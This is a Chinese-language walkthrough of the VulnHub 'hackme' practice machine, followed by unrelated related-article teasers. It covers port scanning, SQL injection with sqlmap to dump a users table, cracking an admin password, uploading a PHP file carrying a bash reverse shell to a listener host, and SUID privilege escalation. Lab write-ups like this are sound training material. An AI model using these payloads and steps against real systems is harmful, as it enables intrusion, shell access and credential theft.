vulnhub系列:hackme

news/2024/9/17 18:59:03/ 标签: web安全, 网络安全

vulnhub系列:hackme

靶机下载

一、信息收集

nmap扫描存活,根据mac地址寻找IP

nmap 192.168.23.0/24

nmap扫描网段

nmap扫描端口,开放端口:22、80

nmap 192.168.23.136 -sV -p- -Pn -O

nmap扫描端口

访问80端口

访问页面

dirsearch目录扫描

python3 dirsearch.py -u http://192.168.23.136

发现下图文件、目录

IP目录扫描

注册页面

注册页面

文件页面

文件页面

注册登录

system登录

搜索框抓包,数据包放到sqlmpa扫描,发现漏洞

搜索框漏洞

sqlmap获取库名、表名、字段名,并将users表内容dump下来

--dbs
-D --tables
-D -T --columns
-D -T --dump

dump表内容

看到有个superadmin用户,md5解密superadmin用户密码

superadmin:Uncrackable

md5

登录superadmin

登录superadmin

上传php文件,文件内容

<?php phpinfo();?>

上传php

访问phpinfo文件,正常解析

访问php文件

二、getshell

上传反弹shell文件

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.23.133/4444 0>&1'");?>

kali开启监听

nc -lvnp 4444

image-20240814185325798

成功反弹shell

image-20240814185357807

三、提权

查看当前权限,没有可利用的

查找suid 文件

find / -perm -u=s -type f 2>/dev/null

image-20240814190056874

依次尝试,发现 /home/legacy/touchmenot可执行,提权成功

cd /home/legacy
./touchmenot

image-20240814190246019


http://www.ppmy.cn/news/1510231.html

相关文章

ArcGIS简单介绍

ArcGIS体系结构 &#xff08;1&#xff09;GIS Server 宿主各种GIS资源&#xff0c;将他们封装为服务提供给客户端应用。GIS Server分为两部分&#xff1a;Server Object Manager&#xff08;SOM&#xff09;和Server Object Containers&#xff08;SOCs&#xff09;。一个SO…

算法【Java】—— 双指针算法

双指针算法 常见的双指针有对撞指针&#xff0c;快慢指针以及前后指针&#xff08;这个前后指针是指两个指针都是从从一个方向出发&#xff0c;去往另一个方法&#xff0c;也可以认为是小学学习过的两车并行&#xff0c;我也会叫做同向指针&#xff09;&#xff0c;在前后指针…

如何在手机版和网页版Facebook上更改名字(2024)

本文将详细介绍如何在Facebook上更改名字&#xff0c;包括手机和网页版Facebook的具体步骤&#xff0c;以及添加Facebook昵称的方法&#xff0c;并分享如何高效管理多个Facebook网页版账户。 Facebook怎么改名字 Facebook手机版改名 打开Facebook APP并登录账号。 点击右下角的…

精通C++ STL(六):list的模拟实现

目录 类及其成员函数接口总览 结点类的模拟实现 构造函数 迭代器类的模拟实现 迭代器类存在的意义 迭代器类的模板参数说明 构造函数 运算符的重载 --运算符的重载 运算符的重载 !运算符的重载 *运算符的重载 ->运算符的重载 list的模拟实现 默认成员函数 构造函数 拷贝…

Java中等题-为运算表达式设计优先级(力扣)

给你一个由数字和运算符组成的字符串 expression &#xff0c;按不同优先级组合数字和运算符&#xff0c;计算并返回所有可能组合的结果。你可以 按任意顺序 返回答案。 生成的测试用例满足其对应输出值符合 32 位整数范围&#xff0c;不同结果的数量不超过 104 。 示例 1&am…

scp(SSH ),net(TCP),RabbitMQ(AMQP)

在Node.js环境中进行网络通信时&#xff0c;scp 和 net 模块或工具代表了两种不同的通信方式。让我们分别了解一下它们的功能和用途。 SCP (Secure Copy Protocol) SCP 是一个用于在远程主机之间安全地复制文件的协议。它基于 SSH 协议&#xff0c;因此提供了与 SSH 相同的安…

【JavaSE】解读Java中的toString方法

前言&#xff1a; 在Java中&#xff0c;toString方法来自java.lang.Object 类&#xff0c;然后所有对象都继承该Object 类。默认情况下&#xff0c;它的作用是返回对象的字符串表示形式。在实际开发中&#xff0c;重写 toString() 方法可以帮助我们以更易读的形式输出对象信息&…

SSH 隧道方式连接 MySQL 服务器

SSH 隧道方式连接 MySQL 服务器 1 安装 MySQL 客户端工具1.1 Navicat1.2 MySQL Workbench1.2.1 查看本机系统类型1.2.2 安装 Visual C 20191.2.3 安装 MySQL Workbench 2 SSH 隧道方式连接数据库2.1 Navicat2.1.1 SSH 连服务器2.1.2 本地连数据库 2.2 MySQL Workbench 本文介绍…

第六章 网络互连与互联网(五):TCP 和 UDP 协议

五、TCP 和 UDP 协议 在 TCP/IP 协议簇中有两个传输协议&#xff0c;即传输控制协议&#xff08;TCP&#xff09;和用户数据报协议&#xff08;UDP&#xff09;。TCP是面向连接的&#xff0c;而 UDP 是无连接的。 1、TCP服务 &#xff08;1&#xff09;TCP 协议提供面向连接…

引领能源新时代:打造智能化加油系统新纪元

在能源消费日益增长的今天&#xff0c;加油作为车辆动力补给的核心环节&#xff0c;其效率与便捷性直接关系到每一位驾驶者的出行体验。为了应对这一挑战&#xff0c;我们正着手开发一款全新的智能化加油系统&#xff0c;旨在通过科技创新&#xff0c;重塑加油行业的未来格局。…

P4447 [AHOI2018初中组] 分组

[题目通道]([AHOI2018初中组] 分组 - 洛谷) #include<bits/stdc.h> using namespace std; const int MAXN1e540; int f[MAXN],n,ans1e9,siz[MAXN],top,q[MAXN]; signed main() {cin>>n;for(int i1;i<n;i) cin>>f[i];sort(f1,fn1);for(int i1;i<n;i){i…

【鸿蒙学习】HarmonyOS应用开发者基础 - 构建更加丰富的页面(一)

学完时间&#xff1a;2024年8月14日 一、前言叨叨 学习HarmonyOS的第六课&#xff0c;人数又成功的降了500名左右&#xff0c;到了3575人了。 二、ArkWeb 1、概念介绍 ArkWeb是用于应用程序中显示Web页面内容的Web组件&#xff0c;为开发者提供页面加载、页面交互、页面调…

Qt 学习第六天:页面布局

如何设计页面&#xff1f; 有个类似沙盒模式的玩法&#xff0c;Qt Widget Designer可以更好的帮助我们设计页面 点击.ui文件进入 右上方可以看到四种常见的布局&#xff1a; 四种布局 &#xff08;一&#xff09;水平布局horizontalLayout&#xff1a;QHBoxLayout H 是 hori…

Java定时任务缘起

序 定时任务是现代应用开发一个常见需求。Java提供了多种机制来处理定时任务&#xff0c;从早期的java.util.Timer到现代的ScheduledThreadPoolExecutor&#xff0c;再到时间轮算法。本文将探讨这些机制演进背后的逻辑&#xff0c;以及对应的使用场景。 一、JDK Timer JDK T…

【Linux】系列入门摘抄笔记-8-权限管理chmod/chown

Linux操作系统中文件的基本权限由9个字符组成&#xff0c;分别为属主、属组和其他用户&#xff0c;用于规定是否对文件有读、写和执行权限。 文件/目录的权限与归属 目录列表中&#xff0c;有9列 第一列&#xff1a;文件类型与权限&#xff08;共10个字符&#xff0c;分为四组…

【BUU】[NewStarCTF 2023 公开赛道]Final -CP读取文件内容

漏洞检测 访问首页发现是ThinkPHP5 的站点 用工具扫描一下,发现存在ThinkPHP5.0.23 RCE漏洞 访问验证,写入shell 成功写入shell. 根目录发现flag,但是权限不足 提权获取flag 准备提权,这里一开始尝试了find,但是find权限不足 尝试采用cp命令,移动到web目录,发现访问还是…

Web3入门指南:了解去中心化互联网的基础知识

在互联网的进化过程中&#xff0c;Web3作为新一代互联网技术&#xff0c;正逐渐引起人们的广泛关注。作为Web的第三代版本&#xff0c;Web3代表了去中心化互联网的未来发展方向。本指南将深入探讨Web3的基本概念、关键技术以及其对未来互联网的影响&#xff0c;帮助读者全面了解…

EmguCV学习笔记 VB.Net 2.2 Matrix类

版权声明&#xff1a;本文为博主原创文章&#xff0c;转载请在显著位置标明本文出处以及作者网名&#xff0c;未经作者允许不得用于商业目的。 EmguCV学习笔记目录 Vb.net EmguCV学习笔记目录 C# 笔者的博客网址&#xff1a;VB.Net-CSDN博客 教程相关说明以及如何获得pdf教程…

ubuntu 24.04 安装 Nvidia 显卡驱动 + CUDA + cuDNN,配置 AI 深度学习训练环境,简单易懂,一看就会!

ubuntu 24.04 安装 Nvidia 显卡驱动 CUDA cuDNN&#xff0c;配置 AI 深度学习训练环境&#xff0c;简单易懂&#xff0c;一看就会&#xff01; 1.查看本机显卡型号 lspci | grep -i nvidia输出如下&#xff1a; 01:00.0 3D controller: NVIDIA Corporation GM108M [GeForc…

mysql5.7.20升级5.7.44

近期安全测试mysql5.7.20有很多的漏洞&#xff0c;考虑升级到5.7.44 问题1&#xff1a;下载5.7.44的版本&#xff1a; 选择安装版本&#xff0c;或者zip解压版本&#xff0c;看上一篇文章 我选择了安装版本&#xff1b; 问题2&#xff1a;做好现场data文件的备份&#xff1…